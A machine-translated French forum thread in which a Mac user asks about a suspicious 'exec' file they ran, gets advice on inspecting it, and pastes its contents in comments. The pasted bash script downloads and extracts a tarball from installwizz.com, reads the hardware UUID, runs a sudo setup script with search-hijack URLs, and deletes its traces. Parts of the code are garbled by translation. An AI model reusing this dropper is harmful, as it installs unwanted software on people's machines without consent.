2017-09-07 4 views
0

J'ai cliqué sur un fichier nommé "fichier" exec. et l'invite de commandes ouverte me donnant this journal:Invite de commande bizarre Journal après exécution d'un fichier "exec"

Last login: Thu Sep 7 17:42:18 on ttys000 
Davids-MacBook-Pro:~ David$ /file ; exit; 
logout 
Saving session... 
...copying shared history... 
...saving history...truncating history files... 
...completed. 

[Prozess beendet] 

Oh et this est ce que l'exécutif « file » ressemble dans mon disque dur.

Pouvez-vous s'il vous plaît me dire ce que cela signifie et si c'est mauvais?

Merci!

Répondre

0

Le fichier a été exécuté en tant que script de ligne de commande. Ce que vous voyez est une nouvelle ouverture de la fenêtre Terminal, vous indiquant quand vous l'avez utilisé pour la dernière fois et donnant l'invite "Davids-MacBook-Pro: ~ David $". Le bit suivant, /file ; exit; est la commande shell pour exécuter le fichier, puis quitter le shell. Tout ce qui suit ("déconnexion", etc.) est le processus de nettoyage du shell &.

Il n'y a rien entre la commande pour exécuter le fichier et le processus de sortie du shell, tout ce que nous pouvons vraiment dire, c'est qu'il n'a rien imprimé sur le terminal. Quant à ce qu'il a fait et si c'est mauvais, je n'ai aucun moyen de le dire. Vous pouvez obtenir plus d'informations à ce sujet en ouvrant Terminal (vous avez besoin d'une nouvelle fenêtre Terminal, puisque le shell de ce dernier a quitté), et en exécutant la commande file /file pour obtenir des informations sur son format. Si la sortie inclut "texte", vous pouvez imprimer le contenu du fichier avec cat /file. Incluez la sortie de ces commandes (sous forme de texte, au format "code") dans votre question, et nous pourrons peut-être vous en dire plus. Par ailleurs, c'est généralement une mauvaise idée d'exécuter des fichiers lorsque vous ne savez pas ce qu'ils sont ou d'où ils viennent.

+0

Salut, merci pour votre réponse. Le fichier est un txt (avec de très longues lignes), voici ce que je reçois avec cat/fichier: (1er morceau) Davids-MacBook-Pro: ~ David $ cat/fichier #!/Bin/bash func_4 () { /bin/mkdir -p/var/tmp /usr/bin/curl -s -L -var /var/tmp/sr.tgz "http://c.installwizz.com/static/sr/sr_v2 .tgz " /usr/bin/tar -xzf /var/tmp/sr.tgz -C/var/tmp cd/var/tmp/dvs mid = $ (ioreg -rd1 -c IOPlatformExpertDevice | awk '/ IOPlatformUUID/{split ($ 0, ligne, "\" "); printf ("% s \ n ", ligne [4]);} ') –

+0

2e partie: COUNTRY =" DE " if [" $ COUNTRY "= = "AU"] || ["$ COUNTRY" == "CA"] || ["$ COUNTRY" == "US"] || ["$ COUNTRY" == "NZ"] \ || [" $ PAYS Y "==" ES "] || ["$ COUNTRY" == "IT"] || ["$ COUNTRY" == "NL"] || ["$ COUNTRY" == "FR"] || ["$ COUNTRY" == "IN"] \ || ["$ COUNTRY" == "DE"]; puis \t sudo ./setup.sh "http://www.searchitdown.com/?n=091&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=091&searchsource=69&UM=8&gd = SY1000653 "" http://www.searchitdown.com/Results.aspx?n=091&searchsource=58&UM=8&gd=SY1000653 "" searchitdown "" upd " –

+0

3e partie: " http://i.installwizz.com/ c/cc? id = " fi CLIENT_COMP =" " si [[! -z "$ CLIENT_COMP"]]; puis \t/usr/bin/boucle -s -L -o /var/tmp/re.txt "http://i.installwizz.com/is/if?i=" fi func_taaVqst() { sommeil 220 rm -rf/var/tmp/dvs rm -rf/var/tmp/sr.tgz } func_taaVqst & } func_4 & Davids-MacBook-Pro: ~ David –